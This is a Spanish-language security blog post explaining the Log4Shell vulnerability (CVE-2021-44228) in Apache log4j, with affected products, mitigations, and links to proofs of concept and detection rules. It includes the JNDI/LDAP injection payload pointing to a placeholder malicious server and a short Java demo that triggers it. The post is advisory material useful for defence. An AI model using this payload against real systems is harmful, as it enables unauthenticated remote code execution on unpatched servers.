Recientemente se ha publicado un exploit de día 0 en log4j, la popular librería de Java desarrollada por la Apache Foundation que da como resultado la ejecución remota de código (RCE) al loggear una determinada cadena con la sintaxis ${jndi:ldap://servidor_malicioso/exp}. Así de sencillo:
Minecraft
Ghidra
Apache Struts2
Apache Solr
Más (y la lista sigue creciendo) en: https://github.com/YfryTchsGD/Log4jAttackSurface
Como veis, debido a la incorrecta validación de log4j es posible aprovecharse de este bug y a través de JDNI y LDAP ejecutar cualquier código sin autenticación previa.
Además, y lo más importante, es que encontraremos numerosas apps que utilizan log4j, desde Minecraft hasta Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket… y la lista va creciendo y creciendo…
Otro ejemplo llamando directamente al logger:
package demo; import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger; public class demo { public static Logger logger= LogManager.getLogger(); public static void main(String[] args){ System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://servidor/vvt4s5}"); }
}
Lo más loco de la vulnerabilidad en log4j es la cantidad de formas en que un atacante puede explotarlo; cualquier entrada que eventualmente pueda escribirse en un archivo de log es un canal potencial. La creatividad del atacante es el límite 😉
La vulnerabilidad que afecta a Log4j 2.0-beta9 hasta 2.14.1, ya ha sido bautizada con CVE-2021-44228 o log4shell.
Varias publicaciones recientes parecen indicar que versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque del LDAP, es decir, en dichas versiones com.sun.jndi.ldap.object.trustURLCodebase está puesto a false por lo que JNDI no puede cargar codebase remotamente a través LDAP.
En cualquier caso, para todos es CRÍTICO parchear o llevar a cabo los pasos de mitigación disponibles:
- Apache ya ha lanzado Log4j 2.15.0 para corregir la vulnerabilidad.
- El bug también se puede mitigar en versiones anteriores (2.10 y posteriores) estableciendo la propiedad del sistema «log4j2.formatMsgNoLookups» en «true» o eliminando la clase JndiLookup del classpath.
Seguiremos atentos a esta vulnerabilidad que seguro traerá bastante repercusión (y consecuencias) durante los próximos días.
PoCs:
https://github.com/tangxiaofeng7/apache-log4j-poc
https://github.com/rabbitsafe/Apache-Log4j_RCE
Detección:
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
Fuentes:
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://www.bleepingcomputer.com/news/security/new-zero-day-exploit-for-log4j-java-library-is-an-enterprise-nightmare/
https://www.cert.govt.nz/it-specialists/advisories/log4j-rce-0-day-actively-exploited/
Fuente obtenida de: https://www.hackplayers.com/2021/12/ce-en-log4j-log4shell-simple-exploit.html
